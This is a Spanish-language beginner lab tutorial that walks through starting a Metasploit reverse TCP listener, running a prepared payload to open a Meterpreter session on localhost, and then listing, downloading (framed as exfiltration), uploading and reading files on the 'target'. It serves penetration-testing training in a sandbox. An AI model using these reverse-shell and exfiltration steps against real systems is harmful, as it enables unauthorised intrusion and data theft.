Interactuar con el Sistema de Archivos del Objetivo usando Meterpreter

Kali LinuxBeginner
Practicar Ahora

Introducción

En este laboratorio, aprenderá las técnicas fundamentales para interactuar con el sistema de archivos de un objetivo utilizando Meterpreter, una carga útil avanzada que forma parte del Metasploit Framework. La post-explotación es una fase crítica de una prueba de penetración, y la capacidad de navegar por el sistema de archivos, descargar archivos sensibles y cargar sus propias herramientas o scripts es una habilidad esencial.

Recorreremos el proceso de establecer una sesión de Meterpreter y luego utilizaremos comandos principales como ls, cd, download, upload y cat para explorar y manipular archivos en el sistema comprometido.

Listar archivos y directorios con el comando ls

En este paso, primero estableceremos una sesión de Meterpreter y luego usaremos el comando ls para listar los archivos en el sistema objetivo. Nuestro script de configuración ya ha creado una carga útil (payload.elf) y un archivo de configuración de escucha (listener.rc).

Primero, iniciemos el listener de Metasploit. Esperará una conexión entrante de la carga útil. Usamos la bandera -r para cargar nuestro archivo de recursos, que automatiza la configuración.

Abra una terminal y ejecute el siguiente comando:

msfconsole -r listener.rc

Verá que la consola de Metasploit se inicia y el manejador se ejecutará como un trabajo en segundo plano. La salida se verá similar a esto:

[*] Msfconsole tip: Use the resource command to run a script of
    console commands.

    ...

[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444

msf6 >

Ahora, necesitamos ejecutar la carga útil para conectarnos a nuestro listener. Abra una nueva terminal haciendo clic en el ícono "+" en la barra de pestañas de la terminal. En esta nueva terminal, ejecute el archivo de carga útil ubicado en su directorio ~/project.

./payload.elf

Este comando no producirá ninguna salida. Vuelva a su primera terminal (la que ejecuta msfconsole). Debería ver un mensaje que indica que se ha abierto una sesión.

[*] Sending stage (3021700 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43916) at 2023-10-27 10:30:00 -0400

msf6 > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Nota: Si no se le coloca automáticamente en la sesión, puede listar las sesiones activas con sessions e interactuar con una usando sessions -i <ID>, por ejemplo, sessions -i 1.

Ahora se encuentra en una sesión de Meterpreter, indicada por el prompt meterpreter >. Cualquier comando que escriba aquí se ejecutará en la máquina objetivo. Usemos el comando ls para listar los archivos en el directorio actual del objetivo.

ls

Esto listará los archivos y directorios en el directorio de trabajo actual del objetivo.

meterpreter > ls
Listing: /home/labex/project
============================

Mode              Size    Type  Perms  Name
----              ----    ----  -----  ----
100755/rwxr-xr-x  10152   fil   rwx/-  payload.elf
100644/rw-r--r--  100     fil   rw-/-  listener.rc

Cambiar directorios con el comando cd

En este paso, aprenderá a navegar por el sistema de archivos del objetivo utilizando el comando cd (change directory) dentro de Meterpreter. Esto funciona igual que el comando estándar cd de Linux.

Nuestro script de configuración creó un directorio en /tmp/victim_files en el sistema objetivo. Naveguemos al directorio /tmp.

cd /tmp

El comando en sí no produce ninguna salida. Para confirmar que hemos cambiado de directorio, podemos usar el comando pwd (print working directory).

pwd

La salida mostrará su directorio actual en la máquina objetivo.

meterpreter > pwd
/tmp

Ahora que estamos en el directorio /tmp, listemos su contenido con ls para encontrar el directorio victim_files.

ls

Debería ver el directorio victim_files entre los otros archivos y directorios en /tmp.

meterpreter > ls
Listing: /tmp
============

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
...
40777/rwxrwxrwx   4096  dir   rwx/-  victim_files
...

Descargar un archivo del objetivo con el comando download

En este paso, descargaremos un archivo del sistema objetivo a nuestra propia máquina. Esta es una técnica crucial para la exfiltración de datos. Usaremos el comando download.

Primero, naveguemos al directorio victim_files que encontramos en el paso anterior.

cd victim_files

Ahora, listemos los archivos en este directorio para encontrar nuestro archivo objetivo.

ls

Verá el archivo secret_notes.txt que fue creado por el script de configuración.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Ahora, descarguemos este archivo a nuestro directorio local ~/project. La sintaxis es download <archivo_en_objetivo>. Por defecto, se descargará en su directorio local actual.

download secret_notes.txt

Debería ver un mensaje de confirmación que indica que la descarga fue exitosa.

[*] Downloading: secret_notes.txt -> /home/labex/project/secret_notes.txt
[*] Downloaded 37.00 B of 37.00 B (100.0%)
[*] download   : /tmp/victim_files/secret_notes.txt -> /home/labex/project/secret_notes.txt

Para verificar, puede abrir una nueva terminal (o usar la segunda que abrió anteriormente) y listar los archivos en su directorio ~/project en su máquina local.

ls ~/project

Ahora debería ver secret_notes.txt en la lista de archivos.

Subir un archivo al objetivo con el comando upload

En este paso, aprenderá a subir un archivo desde su máquina al sistema objetivo utilizando el comando upload. Esto es útil para colocar herramientas, scripts u otras cargas útiles en el objetivo.

Primero, necesitamos un archivo en nuestra máquina local para subir. Creemos uno. En su terminal de shell local (no en la sesión de Meterpreter), ejecute el siguiente comando para crear un archivo llamado attacker_file.txt.

echo "attacker data" > ~/project/attacker_file.txt

Ahora, vuelva a su sesión de Meterpreter. Debería seguir estando en el directorio /tmp/victim_files en el objetivo. Subiremos attacker_file.txt desde nuestro directorio local ~/project al directorio actual del objetivo.

La sintaxis es upload <ruta_archivo_local>.

upload /home/labex/project/attacker_file.txt

Verá una confirmación de que la subida fue exitosa.

[*] uploading: /home/labex/project/attacker_file.txt -> attacker_file.txt
[*] uploaded : /home/labex/project/attacker_file.txt -> attacker_file.txt

Para confirmar que el archivo está en el objetivo, ejecute ls en su sesión de Meterpreter.

ls

Ahora debería ver tanto secret_notes.txt como su recién subido attacker_file.txt.

meterpreter > ls
Listing: /tmp/victim_files
=========================

Mode              Size  Type  Perms  Name
----              ----  ----  -----  ----
100644/rw-r--r--  14    fil   rw-/-  attacker_file.txt
100644/rw-r--r--  37    fil   rw-/-  secret_notes.txt

Ver el contenido de un archivo de texto con el comando cat

En este paso final, usaremos el comando cat en Meterpreter para ver el contenido de los archivos directamente en el sistema de archivos del objetivo sin tener que descargarlos primero.

Debería seguir estando en el directorio /tmp/victim_files en el objetivo dentro de su sesión de Meterpreter.

Primero, veamos el contenido del archivo original, secret_notes.txt.

cat secret_notes.txt

El comando imprimirá el contenido del archivo directamente en su consola.

meterpreter > cat secret_notes.txt
This is a secret file from the target.

A continuación, veamos el contenido del archivo que subimos, attacker_file.txt, para confirmar que se transfirió correctamente.

cat attacker_file.txt

Debería ver el texto que creamos en nuestra máquina local.

meterpreter > cat attacker_file.txt
attacker data

Este comando es extremadamente útil para inspeccionar rápidamente archivos de configuración, logs o scripts en el sistema objetivo.

Resumen

¡Felicitaciones por completar este laboratorio! Ha aprendido los comandos esenciales de Meterpreter para interactuar con el sistema de archivos de un objetivo.

Ha establecido con éxito una sesión de Meterpreter y ha practicado los siguientes comandos clave de post-explotación:

  • ls: Para listar archivos y directorios.
  • cd: Para navegar por el sistema de archivos.
  • pwd: Para identificar el directorio de trabajo actual.
  • download: Para exfiltrar archivos del objetivo a su máquina.
  • upload: Para colocar archivos de su máquina en el objetivo.
  • cat: Para ver el contenido de archivos de texto directamente en el objetivo.

Dominar estos comandos es un paso fundamental para ser competente con el Metasploit Framework y realizar pruebas de penetración efectivas.